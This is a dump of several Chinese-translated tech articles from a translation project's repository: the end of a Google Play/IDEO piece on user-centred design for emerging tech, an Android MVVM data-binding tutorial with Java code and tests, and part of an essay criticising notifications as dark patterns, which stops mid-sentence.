![](https://cdn-images-1.medium.com/max/800/1*WvUcObRhogt_dWYAFImqjA.png) 图中(从左至右,从上至下): [虚拟现实]:带我们去各种地方并赋予新能力 [增强现实]:让我们可以和周围物理世界潜在的信息层级交互 [电子助手]:让我们通过对话接入并控制信息和服务 [即时应用]:让我们想要做什么以及什么时候做变得更加容易 当我们思考这些科技的优点,他们如何适配业务,或者如何通过他们去创立业务的时候,我们很容易就只关注目前技术的能力或者短期内的能力而去假设他们对用户实际的价值。但是我们应该以技术未来的发展对用户的意义来指导我们的工作。 > 如果我们希望创造一些有持久价值的事情,我们需要从用户需求出发,不仅仅局限于技术的可行性。 ### 我们的研究告诉我们用户的希望、需求以及梦想 要了解用户的想法和感受,我们需要变得实际和善于表达。 当你向用户展示一个仍有提出贡献余地的实际概念时,他们会看到潜力并开始坦诚分享想法。当你呈现给他们一个完美的东西时,他们会开始寻找它的瑕疵。 #### 虚拟现实(VR) ![](https://cdn-images-1.medium.com/max/800/1*v6aUUEBbz_iByAnr8KS_lA.jpeg) _“我希望我可以和其他人分享我的经历,或者让当地的朋友带我四处看看.” _— Nikki **练习:** 我们为用户提供了各类场景,从实际的在地铁上通勤到虚幻的访问火星或者飞行穿越城市。我们随机提供给他们然后要求他们想象自己已经被传送至这个地方。我们还会问,你是如何到这里来的?你在这里想做什么?你想和谁一起在这里以及和谁交流? **用户想象的:** VR将我们带到令人惊叹的新地方。人们希望自由地按照自己的条件去探索这些地方,并且能够与他人分享这些体验。 * * * #### 增强现实 (AR) ![](https://cdn-images-1.medium.com/max/800/1*1ejmEzMwdkgiYJFnx-lCOw.jpeg) _“需要有一种降低一切事物干扰的方法,才能让我完全沉浸在这个环境里。” _— Rupert **练习:** 我们给用户一个被称为神奇眼镜的眼镜状的亚克力片,让他们想象在各种场景下通过这个眼镜可以看到什么,并将这些想法和梦想画下来和组里人分享。 **用户想象的:** AR给了我们增强周围世界的机会,人们希望将相关信息整合到周围环境中,而且有能力移除掉分心的事物能够让用户专心。 * * * #### 电子助手 ![](https://cdn-images-1.medium.com/max/800/1*E3ZF3K522OUp5Qpl9ZwFLw.jpeg) _“我的助手要在我真正需要之前就知道我要的是什么,它要理解我的处境。”_ — Susana **练习:** 我们让用户为电子助手写下一个职位介绍,让他们想象他们可以聘请这个真实的助手辅佐他们的生活。我们的问题是:你会让他们去做什么?这个人有什么技能?你什么时候会怎样召唤这个人? **用户想象的:**电子助手会在日常生活中给予帮助,但是人们想要的不止于此。他们想和电子助手建立关系,被他们鼓舞和激励。人们想要他们的助手能够对他们的需求和心情有预判。 * * * #### Ephemeral Apps ####即时应用 ![](https://cdn-images-1.medium.com/max/800/1*s02svVaRmdAw4uySV3KXLg.jpeg) _“我想通过最少的交互和尽可能少的步骤去做事情。”_ — Garret **练习:** 我们给用户呈现了两个情节,一个是在他们工作附近新开的咖啡店点餐,另一个是在他们第一次去一个城市时停一辆车。我们询问他们在理想世界中将如何完成这些任务。他们会怎么做呢?又会发生什么呢? **用户想象的:** 当我们需要的时候,即时应用让我们更容易地做我们想做的事情。人们希望这些体验既简单又愉快。 > 新科技的发展前景会扩展我们作为人类的能力,让我们能够做之前做不了的事。这是关于展望未来科技本身可以做的事,以及它能够让我们做什么。 ### 如何从今天开始 开始使用VR、AR、电子助手和即时应用并不复杂和昂贵。事实上,我们和Google Play一起创造了一套设计思路,在2017年的Playtime上首次分享。我们希望这些可以激发更多的人去创造全新的功能、产品和业务,将这些科技带到生活中。 [**下载这个卡片的PDF**.](http://services.google.com/fh/files/blogs/ideo_design_prompts_emerging_tech.pdf) ![](https://cdn-images-1.medium.com/max/800/1*yKzN0Ssloia2s2tcXd8_dQ.jpeg) 被命名为 “[以用户为中心为新兴技术的设计思路](http://services.google.com/fh/files/blogs/ideo_design_prompts_emerging_tech.pdf)”的这一组二十个思路,帮助你根据你客户的生活环境进行新兴技术设计 。他们的目的是在当你想弄清楚构建 _什么_ 的构思阶段提供指导。 ![](https://cdn-images-1.medium.com/max/800/1*UPleVcrSQDvInBB_hrxS5g.jpeg) 每个卡片由人的场景和需求开始,考虑你的客户日常生活环境,然后翻转卡片开始头脑风暴。每个思路被设计成会为每个现存科技和人类愿望为基础而创造一些可能的答案。 最重要的事情是要记住:梦想不是从说明书和功能、SDK和API开始的。 梦想是人类的天性,是我们每个人内心深处的东西。当用新兴技术打造时,从这开始--用你设计的这些梦想。以及不要忘记挖掘你自己内心。 _这项工作是_ [_Google Play_](https://medium.com/googleplaydev) _和_ [_IDEO_](http://ideo.com)(以其以人为本的设计开创性方法而全球闻名的设计公司) _合作的结果。_ * * * #### 你怎么想? 你有任何关于新兴技术中以用户为中心的设计的意见吗?在下面的评论中继续讨论,或者使用标签#AskPlayDev发推特,我们将从[@GooglePlayDev](http://twitter.com/googleplaydev)回复,在这里我们将定期分享有关如何在Google Play上取得成功的新闻和提示。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/approaching-android-with-mvvm.md ================================================ > * 原文链接 : [Approaching Android with MVVM — ribot labs — Medium](https://medium.com/ribot-labs/approaching-android-with-mvvm-8ceec02d5442#.8c8bnpmwi) > * 原文作者 : [Joe Birch](https://twitter.com/hitherejoe) > * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者 : [Sausure](https://github.com/Sausure) > * 校对者: [EthanWu (ethan-wu)](https://github.com/EthanWu)、[dodocat (Quanqi)](https://github.com/dodocat)、[foolishgao](https://github.com/foolishgao) # MVVM 模式介绍 我考察了一段时间安卓的数据绑定类库,决定尝试下它的“Model-View-ViewModel”模式。因为我曾经和 [@matto1990](https://twitter.com/matto1990) 合作开发过一款应用 [HackerNews Reader](https://github.com/hitherejoe/HackerNewsReader),所以我决定利用这种模式重新实现它。 ![](https://cdn-images-1.medium.com/max/800/1*jI0Qc7-8vYy7UpKuTLWrKg.png) 这篇文章通过一款简单的App来论证MVVM模式,我建议你先看看这个[项目](https://github.com/hitherejoe/MVVM_Hacker_News),让你大概了解下它。 ### 什么是MVVM模式? **Model-View-ViewModel** 就是将其中的 **View** 的状态和行为抽象化,让我们可以将UI和业务逻辑分开。当然这些工作 **ViewModel** 已经帮我们做了,它可以取出 **Model** 的数据同时帮忙处理 **View** 中由于需要展示内容而涉及的业务逻辑。 MVVM模式是通过以下三个核心组件组成,每个都有它自己独特的角色: * **Model** - 包含了业务和验证逻辑的数据模型 * **View** - 定义屏幕中View的结构,布局和外观 * **ViewModel** - 扮演“View”和“Model”之间的使者,帮忙处理 **View** 的全部业务逻辑 ![](https://cdn-images-1.medium.com/max/1600/1*VLhXURHL9rGlxNYe9ydqVg.png) 那这和我们曾经用过的MVC模式有什么不同呢?以下是MVC的结构 * **View** 在 **Controller** 的顶端,而 **Model** 在 **Controller** 的底部 * **Controller** 需要同时关注 **View** 和 **Model** * **View** 只能知道 **Model** 的存在并且能在Model的值变更时收到通知 MVVM模式和MVC有些类似,但有以下不同: * **ViewModel** 替换了 **Controller**,在UI层之下 * **ViewModel** 向 **View** 暴露它所需要的数据和指令对象 * **ViewModel** 接收来自 **Model** 的数据 你可以看到这两种模式有着相似的结构,但新加入的 **ViewModel** 是用不同的方法将组件们联系起来的,它是双向的,而MVC只能单向连接。 概括起来,MVVM是由MVC发展而来 - 通过在 **Model** 之上而在 **View** 之下增加一个非视觉的组件将来自 **Model** 的数据映射到 **View** 中。接下来,我们将更多地看到MVVM的这种特性。 ### The Hacker News reader 正如前面提及过的,我将我原来的一个项目拆开为这篇文章服务。这款应用有以下几种特性: * 查看帖子列表 * 查看单个帖子 * 查看帖子下的评论 * 查看指定作者的帖子 我们这么做是为了缩减代码库的规模,更加容易去了解这些操作是如何进行的。下面的图片能让你很快了解它是怎么工作的: ![](https://cdn-images-1.medium.com/max/1600/1*zMUV6foMMwgciC44zkP3Vg.png) 左边的图片展示的是帖子的列表,它也是这款应用的主要部分,接下来右边的图片展示的是该帖子的评论列表,它和前者有相似的地方,但也有一些不同,我们将在后面看到。 ### 展示帖子 ![](https://cdn-images-1.medium.com/max/800/1*QbhJtmYYtGzU7AfeybxRJA.png) 每个帖子信息都用 **RecyclerView** 所包含的 **CardView** 包装起来,正如上图展示的。 使用MVVM我们可以将不同层抽象出来很好的实现这些卡片,这意味着每个MVVM组件只要处理它被分配的任务即可。通过使用前面介绍的MVVM的不同组件,组合在一起后能构造出我们的帖子卡片实例,那么我们该如何将它们从布局中抽离出来? ![](https://cdn-images-1.medium.com/max/1600/1*W5rJoOlz6YpZn6s36BLvSw.png) ### Model 简单来说,**Model** 由那些帖子的业务逻辑组成,包括一些像 id,name,text之类的属性,以下代码展示了该类的部分代码: ``` public class Post { public Long id; public String by; public Long time; public ArrayList kids; public String url; public Long score; public String title; public String text; @SerializedName("type") public PostType postType; public enum PostType { @SerializedName("story") STORY("story"), @SerializedName("ask") ASK("ask"), @SerializedName("job") JOB("job"); private String string; PostType(String string) { this.string = string; } public static PostType fromString(String string) { if (string != null) { for (PostType postType : PostType.values()) { if (string.equalsIgnoreCase(postType.string)) return postType; } } return null; } } public Post() { } } ``` 为了可读性,上面的 **POST** 类中去掉了一些Parcelable变量和方法 这里你可以看到**Post**类只包含所有它的属性,没有一点别的逻辑 - 别的组件会处理它们。 ##View **View** 的任务是定义布局,外观和结构。**View** 最好能完全通过XML来定义,即使它包含些许java代码也不应该有业务逻辑部分, **View** 会通过绑定从 **ViewModel**中取出数据。在运行时,若 **ViewModel**的属性的值有变化的话它会通知 **View**来更新UI。 首先,我们先给 **RecyclerView** 传入一个自定义的适配器。为此,我们需要让我们的 **BindingHolder** 类持有对 **Binding** 的引用。 ``` public static class BindingHolder extends RecyclerView.ViewHolder { private ItemPostBinding binding; public BindingHolder(ItemPostBinding binding) { super(binding.cardView); this.binding = binding; } } ``` **onBindViewHolder()** 方法才是真正将 **ViewModel** 和 **View** 绑定的地方。我们获取一个 **ItemPostBinding** 对象(它会被 **item_post** 布局自动生成),然后将新建的 **PostViewModel** 对象传给它的 **ViewModel** 引用。 ``` ItemPostBinding postBinding = holder.binding; postBinding.setViewModel(new PostViewModel(mContext, mPosts.get(position), mIsUserPosts)); ``` 下面就是完整的 **PostAdaper** 类: ``` public class PostAdapter extends RecyclerView.Adapter { private List mPosts; private Context mContext; private boolean mIsUserPosts; public PostAdapter(Context context, boolean isUserPosts) { mContext = context; mIsUserPosts = isUserPosts; mPosts = new ArrayList<>(); } @Override public BindingHolder onCreateViewHolder(ViewGroup parent, int viewType) { ItemPostBinding postBinding = DataBindingUtil.inflate( LayoutInflater.from(parent.getContext()), R.layout.item_post, parent, false); return new BindingHolder(postBinding); } @Override public void onBindViewHolder(BindingHolder holder, int position) { ItemPostBinding postBinding = holder.binding; postBinding.setViewModel(new PostViewModel(mContext, mPosts.get(position), mIsUserPosts)); } @Override public int getItemCount() { return mPosts.size(); } public void setItems(List posts) { mPosts = posts; notifyDataSetChanged(); } public void addItem(Post post) { mPosts.add(post); notifyDataSetChanged(); } public static class BindingHolder extends RecyclerView.ViewHolder { private ItemPostBinding binding; public BindingHolder(ItemPostBinding binding) { super(binding.cardView); this.binding = binding; } } } ``` 看下我们的XML布局,首先我们要将所有的布局都包含在layout标签下,同时使用data标签来声明我们的 **ViewModel**: ``` ``` 声明 **ViewModel** 可以让我们在整个布局中引用它,在 [item_post](https://github.com/hitherejoe/MVVM_Hacker_News/blob/master/app/src/main/res/layout/item_post.xml) 布局中我们会多次用到 **ViewModel**: * **androidText** - 你可以从 **ViewModel** 中引用相应的方法给文本视图设置内容。正如下面你所看到的 **@{viewModel.postTitle}**,它从 **ViewModel** 中引用了 **getPostTitle()** 方法 - 它将返回相应帖子的标题。 * **onClick** - 我们也可以引用单击事件到布局文件中。如你所看到的,**@{viewModel.onClickPost}** 是指从 **ViewModel** 中引用 **onClickPost()**方法 - 它将返回一个能处理单击事件的 **OnClickListener** 对象。 * **visibility** - 控制去**comments activity**的入口,依赖于该帖子是否有相应的评论。通过检查 **comments list** 的长度来决定该 **visibility** 的值,这些操作都是在 **ViewModel** 中完成的。在这里,我们引用了它的**getCommentsVisiblity()**方法来计算是否该显示 ``` ``` 这样做实在太棒了,我们能抽象出显示逻辑到我们的布局文件中,让我们的 **ViewModel** 来关注它们。 ### ViewModel **ViewModel** 扮演了 **View** 和 **Model** 之间使者的角色,让它来关注所有涉及到 **View** 的业务逻辑,同时它可以访问 **Model** 的方法和属性,这些最终会作用到 **View** 中。通过 **ViewModel**,可以移除原本需要在别的组件中返回或处理的数据。 在这里,[PostViewModel](https://github.com/hitherejoe/MVVM_Hacker_News/blob/master/app/src/main/java/com/hitherejoe/mvvm_hackernews/viewModel/PostViewModel.java) 用 **Post** 对象来处理 **CardView** 需要显示的内容,在下面的类中,你可以看到一系列的方法,每个方法对最终作用于我们的帖子视图。 * **getPostTitle()** - 通过 **Post** 对象返回一个帖子的标题 * **getPostAuthor()** - 这个方法首先会从应用的resources中获取相应的字符串,然后传入**Post**对象的**author**属性对它进行格式化,如果**isUserPosts** 等于true我们就需要加入下划线,最终返回该字符串。 * **getCommentsVisibility()** - 该方法决定是否显示有关评论的TextView * **onClickPost()** - 该方法返回相应View需要的**OnClickListener** 这些例子表明不同的业务逻辑都有我们的 **ViewModel** 来处理。下面就是我们[PostViewModel](https://github.com/hitherejoe/MVVM_Hacker_News/blob/master/app/src/main/java/com/hitherejoe/mvvm_hackernews/viewModel/PostViewModel.java)类的完整代码以及那些被[item_post](https://github.com/hitherejoe/MVVM_Hacker_News/blob/master/app/src/main/res/layout/item_post.xml)布局引用的方法。 ``` public class PostViewModel extends BaseObservable { private Context context; private Post post; private Boolean isUserPosts; public PostViewModel(Context context, Post post, boolean isUserPosts) { this.context = context; this.post = post; this.isUserPosts = isUserPosts; } public String getPostScore() { return String.valueOf(post.score) + context.getString(R.string.story_points); } public String getPostTitle() { return post.title; } public Spannable getPostAuthor() { String author = context.getString(R.string.text_post_author, post.by); SpannableString content = new SpannableString(author); int index = author.indexOf(post.by); if (!isUserPosts) content.setSpan(new UnderlineSpan(), index, post.by.length() + index, 0); return content; } public int getCommentsVisibility() { return post.postType == Post.PostType.STORY && post.kids == null ? View.GONE : View.VISIBLE; } public View.OnClickListener onClickPost() { return new View.OnClickListener() { @Override public void onClick(View v) { Post.PostType postType = post.postType; if (postType == Post.PostType.JOB || postType == Post.PostType.STORY) { launchStoryActivity(); } else if (postType == Post.PostType.ASK) { launchCommentsActivity(); } } }; } public View.OnClickListener onClickAuthor() { return new View.OnClickListener() { @Override public void onClick(View v) { context.startActivity(UserActivity.getStartIntent(context, post.by)); } }; } public View.OnClickListener onClickComments() { return new View.OnClickListener() { @Override public void onClick(View v) { launchCommentsActivity(); } }; } private void launchStoryActivity() { context.startActivity(ViewStoryActivity.getStartIntent(context, post)); } private void launchCommentsActivity() { context.startActivity(CommentsActivity.getStartIntent(context, post)); } } ``` 是不是很爽?正如你看到的,我们的**PostViewModel**关注以下方面: * 维护 **Post** 对象的属性,最终会在 **View** 中展示 * 对这些属性进行相应的格式化 * 通过 **onclick** 属性给相应的views对提供点击事件的支持 * 通过 **Post** 对象的属性处理相关views的显示 ### 测试 ViewModel 使用MVVM的一大好处是我们可以很容易对 **ViewModel** 进行单元测试。在 **PostViewModel** 中,可以写些简单的测试方法来验证我们的 **ViewModel** 是否正确实现。 * **shouldGetPostScore()** - 测试getPostScore()方法,确认该帖子的得分是否正确地格式化成字符串对象并返回。 * **shouldGetPostTitle()** - 测试getPostTitle()方法,确认该帖子的标题被正确返回。 * **shouldGetPostAuthor()** - 测试getPostAuthor()方法,确认返回的帖子的作者被正确地格式化了 * **shouldGetCommentsVisiblity()** - 测试getCommentsVisibility()方法是否正确返回了visibility属性的值,它将会用在帖子的 `Comments` 按钮中。我们传入一个包含不同状态的ArrayLists来确认它是否能正确返回。 ``` @RunWith(RobolectricTestRunner.class) @Config(constants = BuildConfig.class, sdk = DefaultConfig.EMULATE_SDK, manifest = DefaultConfig.MANIFEST) public class PostViewModelTest { private Context mContext; private PostViewModel mPostViewModel; private Post mPost; @Before public void setUp() { mContext = RuntimeEnvironment.application; mPost = MockModelsUtil.createMockStory(); mPostViewModel = new PostViewModel(mContext, mPost, false); } @Test public void shouldGetPostScore() throws Exception { String postScore = mPost.score + mContext.getResources().getString(R.string.story_points); assertEquals(mPostViewModel.getPostScore(), postScore); } @Test public void shouldGetPostTitle() throws Exception { assertEquals(mPostViewModel.getPostTitle(), mPost.title); } @Test public void shouldGetPostAuthor() throws Exception { String author = mContext.getString(R.string.text_post_author, mPost.by); assertEquals(mPostViewModel.getPostAuthor().toString(), author); } @Test public void shouldGetCommentsVisibility() throws Exception { // Our mock post is of the type story, so this should return gone mPost.kids = null; assertEquals(mPostViewModel.getCommentsVisibility(), View.GONE); mPost.kids = new ArrayList<>(); assertEquals(mPostViewModel.getCommentsVisibility(), View.VISIBLE); mPost.kids = null; mPost.postType = Post.PostType.ASK; assertEquals(mPostViewModel.getCommentsVisibility(), View.VISIBLE); } } ``` 现在我们可以知道的 **ViewModel** 已经正确工作了!! ### 评论 实现评论的方法和前面很像但还是有点不同。 有两个不同的**ViewModel**被用来操作这次评论,[CommentHeaderViewModel](https://github.com/hitherejoe/MVVM_Hacker_News/blob/master/app/src/main/java/com/hitherejoe/mvvm_hackernews/viewModel/CommentHeaderViewModel.java) 和 [CommentViewModel](https://github.com/hitherejoe/MVVM_Hacker_News/blob/master/app/src/main/java/com/hitherejoe/mvvm_hackernews/viewModel/CommentViewModel.java)。正如你在[CommentAdapter](https://github.com/hitherejoe/MVVM_Hacker_News/blob/master/app/src/main/java/com/hitherejoe/mvvm_hackernews/view/adapter/CommentAdapter.java)中看到的,我们的 **View** 有两种的不同类型: ``` private static final int VIEW_TYPE_COMMENT = 0; private static final int VIEW_TYPE_HEADER = 1; ``` 如果该帖子是一个**发问**的帖子,我们将在屏幕的顶端显示一个头部,它显示所问的问题 - 接着评论会正常显示在下面。同时你应该会注意到在 **onCreateViewHolder()** 中我们会通过判断 VIEW_TYPE 来加载不同的布局,它会返回两种不同布局中的其中一种。 ``` if (viewType == _VIEW_TYPE_HEADER_) { ItemCommentsHeaderBinding commentsHeaderBinding = DataBindingUtil._inflate_( LayoutInflater._from_(parent.getContext()), R.layout._item_comments_header_, parent, false); return new BindingHolder(commentsHeaderBinding); } else { ItemCommentBinding commentBinding = DataBindingUtil._inflate_( LayoutInflater._from_(parent.getContext()), R.layout._item_comment_, parent, false); return new BindingHolder(commentBinding); } ``` 接着在我们的 **onBindViewHolder()**方法中我们会根据不同的视图类型来创建绑定。这是因为不同的 **ViewModel** 对头部有不同的处理方法 ``` if (getItemViewType(position) == _VIEW_TYPE_HEADER_) { ItemCommentsHeaderBinding commentsHeaderBinding = (ItemCommentsHeaderBinding) holder.binding; commentsHeaderBinding.setViewModel(new CommentHeaderViewModel(mContext, mPost)); } else { int actualPosition = (postHasText()) ? position - 1 : position; ItemCommentBinding commentsBinding = (ItemCommentBinding) holder.binding; mComments.get(actualPosition).isTopLevelComment = actualPosition == 0; commentsBinding.setViewModel(new CommentViewModel( mContext, mComments.get(actualPosition))); } ``` 这就是它们的不同点,评论部分有两个不同的**ViewModel**类型 — 取决于该帖子是否是**发问**类的帖子。 ### 总结 如果正确使用,数据绑定类库可能会改变我们开发应用的方式。当然,还有其他方法实现数据的绑定,使用MVVM模式只是其中的一种途径。 比如,你可以在布局中引用我们的 **Model** 然后通过它的变量引用直接访问它的属性: ``` ``` 同时我们可以很容易从adapers和classes中移除一些基础的显示逻辑。下面有种很新颖的方法实现我们这种需求: ``` ``` ![](https://cdn-images-1.medium.com/max/1600/1*bEQosDqPGuIbNcdPQDNktQ.gif) 这就是我看到上面实现方式的表情! 我认为这是数据绑定类库中不好的地方,它将 **View** 的显示逻辑包含到了 **View** 中。不仅会造成混乱,也让我们的测试和调试变的更加困难,因为它将逻辑和布局混淆在一起。 当然,认定MVVM是开发应用的正确方式还为时过早,但这次尝试也让我有机会见识到未来项目的一种趋势。如果你想阅读更多有关数据绑定类库的文章,你可以看[这里](https://developer.android.com/tools/data-binding/guide.html)。同时微软也有一篇关于MVVM通俗易懂的[文章](https://msdn.microsoft.com/en-gb/library/hh848246.aspx). 我很愿意听取你们想法,如果你们有任何的看法和建议可以随时发 Tweet 和我讨论! ================================================ FILE: TODO/are-notifications-a-dark-pattern.md ================================================ > * 原文地址:[Are Notifications A Dark Pattern?](https://blog.prototypr.io/are-notifications-a-dark-pattern-2c1a177b26e0) > * 原文作者:[Designlab](https://blog.prototypr.io/@trydesignlab) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/are-notifications-a-dark-pattern.md](https://github.com/xitu/gold-miner/blob/master/TODO/are-notifications-a-dark-pattern.md) > * 译者:[Changkun Ou](https://github.com/changkun) > * 校对者:[lsvih](https://github.com/lsvih), [Yuuoniy](https://github.com/Yuuoniy) # 通知是一种「暗模式」吗? ![](https://cdn-images-1.medium.com/max/2000/0*_tmPbpsam2ERhTWd.png) 文字 & 插图: Andrew Wilshere **你有没有做过这种噩梦:在梦中你被通知标记的小红点给淹没了?** 我就做过一次,它让我想到:通知究竟是什么?他们只是一种暗模式(dark pattern)吗?一种强制的、在线欺骗的形式吗?在这篇文章中,我将探讨「伪通知」的现象,并就未来对通知作为设计模式发表一些想法。 --- ### 通知是什么? **通知屡见不鲜。**门铃是能让我们知道有人在家门外的通知系统。电话铃声则是有人正在等待和你对话的讯号;而短信铃声通知我收到了新的消息。 然而,随着智能手机的到来,通知的作用已经发生了不易察觉的改变。首先,最重要的是,现在我们每天使用的 App 和网站都喜欢通知我们一切他们能通知的。我们的手机不仅仅只提醒我们打电话和发短信;它们还提醒我们和游戏有关的活动,告诉我们关注的人什么时候发了 Twitter,并且「叮嘱」我们的 10,000 个待办事项。与门铃不同,今天的 App 和网站认为值得通知的东西通常不需要我们立即处理。 其次,现在通知的方式越来越多,不论手段,不管情景,通知总能够传达到我们手中。无论是一个未读消息的统计数、手机屏幕顶部的文字滚动条、特殊的铃声,还是无声的语音助手,通知都在逐渐渗透我们的感官,打断我们正在做的事情。分心不是通知的不利副作用,相反,正是它核心功能之一。通知旨在让我们远离我们当前的活动,并将注意力集中在通知从何处来。 通知是 UX 设计师和开发人员的强大工具,因为它们巧妙的利用的人们的心理防线。通知引诱着人类内心深处渴望融入社会、被社会接受的本能,一个个小红点中的数字巧妙地告诉我们,在这个 App 中正有着一些社会事务在等待我们的关注,而选择忽略它,我们就错过了一些事情。现在,估计所有人都有过这样的体验:仅仅是看到一个未读数字,即使我们已经知道自己对它其中的内容并不感兴趣,但就是抑制不住去点开它的冲动。 **曾今的通知提醒我们需要知道的事情。**但是,现在公司的铤而走险是否让他们把产品变成了一种令人烦恼的、一种受操控的、具有破坏性的「暗模式」了呢? --- ### 通知即暗模式 **「暗模式」是指任何意图欺骗、操纵甚至欺诈用户采取他们不希望或打算的动作而设计的功能。** 这些最早出现在互联网萌芽时期,当一些神奇的网站在你的浏览器中弹窗时,在许多情况下会通过邀请他们点击来「诱导并转换」用户,然后重定向到一些无关的东西上去。 [这个关于暗模式的网站](http://darkpatterns.org/)罗列了相当全面的暗模式类别,它们保留了一个「耻辱柱」,用来指出那些故意欺骗用户的公司和产品。 如今,暗模式变得更广泛和更复杂。许多网站使用基本无害的暗模式来收集电子邮件订阅者,并通过在向下滚动时,在网页上展示覆盖整个页面的「订阅」框。 正是因为这些东西的外观无关痛痒,所以对用户来说非常讨厌和恼人。但是很多公司都认为,这种偶然的低级趣味正是构建客户群的价值,而且实际上大多数客户都很理解并接受它们。 尽管如此,就像广告一样,如果采取一些富有创造力的手段稍加处理,用户会变得更加容易接受它们。 即使是那些为人熟悉「订阅」框,也有不同程度的处理技巧。 举个例子,它可以以可选的方式弹出。不过有些网站会故意让弹窗看起来像一个需要用户强制性的执行的步骤,但实际上通常会有一种方法来关闭消息并继续阅读网站。 操作系统级通知管理器已经成为 Android 和 iOS 构建的一个功能,它们可以强制禁止来自应用的通知。同样,App 通常也有内置的通知控件,但通常它们是可调整的。 比方说,在 Facebook Messenger 里,用户可以暂时禁用通知,几个小时后通知则可以自动重新开启。此外,App 的通知默认情况下是自动打开,而不是自动关闭的。 --- ### 暗模式通知的例子 **我们每天使用的许多网站都利用了我们担心错过通知消息的心理缺陷。**它们使用「伪通知」来提供营销信息、或者简单地让我们返回使用他们的产品,但其实并没有什么有价值的内容可以通知我们。 #### LinkedIn 在 LinkedIn 主页上,你可以看到一个导航栏,如下所示: ![](https://cdn-images-1.medium.com/max/2000/0*RWfwBOfuTqEjfHw8.png) 「我的天,我竟然有 7 个通知!」(...重新激活会员是什么?但我从来没有开启过会员呀?这就是另一种暗模式:玩弄用户对损失的恐惧)。 但是当我点击查看这些通知时,它们给出的仅仅只是一些伪通知:(1)参与改进别人的个人资料(2)告诉我注册他们的高级服务可以查看谁看了我的主页(3)招聘广告。 ![](https://cdn-images-1.medium.com/max/1600/0*A1mzOvIHjPRaVsbA.png) **LinkedIn 的伪通知** 作为 LinkedIn 用户,当我们没有任何新消息或联系请求时,我们的通知 Feed 中仍然会显示一些无关痛痒的广告。这样的处理,让我们能够在他们的网站上花更多的时间、点击更多的页面,并完成更多地交互。 #### Facebook Facebook 是我们以前看到的那种通知 Feed 的原始工程师之一。这家公司在过去几年中也转而使用伪通知来让人们以更协调的新的方式与他们的服务进行交互。比如,当我到达巴黎时,我会收到通知邀请我查看我的朋友曾今在这座城市的哪些地方玩过。首先,Facebook,有点令人后背发凉,因为像是在跟踪我。其次,这不是我想要在我的通知 Feed 中被提醒的东西。 ![](https://cdn-images-1.medium.com/max/1600/0*PA-akOGFo-OhkkPZ.png) **Facebook 的通知面板:这些都不是真正的通知** 同样,Facebook 会根据你如何使用他们的服务创建通知。如果你在刷新时缺少「真实」通知(评论、喜欢等),则会使用这种延迟来提出其他形式的参与。例如,通过鼓励你查看并回顾 Facebook 的「回忆」功能、向你提供有关你分享内容的动态、或者通过告诉你你的网页有多少访问量等等。 #### Twitter ![](https://cdn-images-1.medium.com/max/1600/0*DTweu2kIIb03vorO.png) **当你没什么推文时,Twitter 会有效地向你显示其他人互动的通知** Twitter 使用了类似的策略,通过补充你的通知 Feed,以确保总是有新的东西与你进行交互。 当服务没有任何直接的交互来通知你时,它会开始尝试告诉你**其他用户**的行为。在上面的截图中,它告诉我有关我在关注的人在网站上做了什么,这是元通知(meta-notification)的一种。 Twitter 也会将此类通知推送到你的手机中,从而邀请再次与他们的应用进行互动。 --- ### 参与的代价 我选择了 LinkedIn,Facebook 和 Twitter 作为例子,这是通知设计中这个趋势的三大突出例子,但当然这种做法在一系列网站和行业中越来越普遍(令人不安的是,我的葡萄酒俱乐部的网站告诉我,我还有 117 瓶葡萄酒等着我去品尝)。 在以这种方式通知的公司中要平衡的问题必须是:你究竟是以用户的利益行事还是以你自己的方式行事?如果你是以自己的利益行事,你是否权衡了用户的利益?许多网站依靠点击来获得广告收入,并在通知中发现了一种相当粗暴的方式来获得「双赢」。 公平地讲,公司正面临着这些方法相当有用的问题。 即使作为用户的我们知道到我们正在被操控,我们依然会进行点击。而在商业环境中,当你所有的竞争对手都在这样做并收获回报时,原则上拒绝使用一种有效的营销手段,这将是一场灾难。 --- ### 通知的峰值? 然而,这种通知设计方法是否仍然有效,将完全取决于我们作为用户的态度演变。在某些时候,我们可能都经历过通知疲劳。就个人而言,像 Twitter 这样的平台侵入式的通知的做法,会让我想减少使用这些服务(但我仍然会沉迷于 Facebook)。 当用户学习识别和避免伪通知时,正如我们学会识别和避免广告一样,通知可能变得不那么有说服力,因此哪怕是作为利用用户行为的方式,效果也很差。更重要的是,如果人们对通知的态度变得强硬,他们部署的暗模式,将系统性地降低人们对这个品牌的看法。相反,在这种情况下,采用更简单、诚实、透明的通知形式的公司和服务可能会受益于这一卖点而变得更加受欢迎。 --- ### 通知与科技、生活的平衡 **如果昨天的问题是工作/生活平衡,那么这个故事就是关于科技/生活的平衡。** 使用通知作为暗模式很重要,因为它引发了关于我们如何在世界范围内管理和控制我们对智能技术的个人使用的问题。不仅在于它是普遍的存在的,而且那些运行关键服务的人也不会对我们进行信息轰炸。 技术有潜力通过保持我们的联系来增强我们的社会和个人生活。但是通知显示,技术也有权力通过与商业经纪人、媒介和处理方式的真实联系来削减我们的生活品质。 这牵涉到了 21 世纪发达世界的人类是什么样子的问题。我们正在一起学习如何在享受我们新发现的连接带来的好处的同时,又不失去我们真正珍视这些连接以及我们想要的技术帮助我们在社会关系中取得的成就。 --- ### 通知的未来 **科技公司对技术/生活平衡问题并不了解。** 随着未来几年变得越来越紧迫,我们可以期待像 Facebook 这样的服务:在部署伪通知的时间、方式以及频率方面更加智能化。 我相信,很久以后,Facebook 会自动学习我倾向于点开什么样的通知、忽略什么样的通知。这些数据将使服务能够根据对用户喜好的了解,自动发送个性化的通知。例如,如果它的算法注意到我总是无视或忽略关于在新城市的通知,Facebook 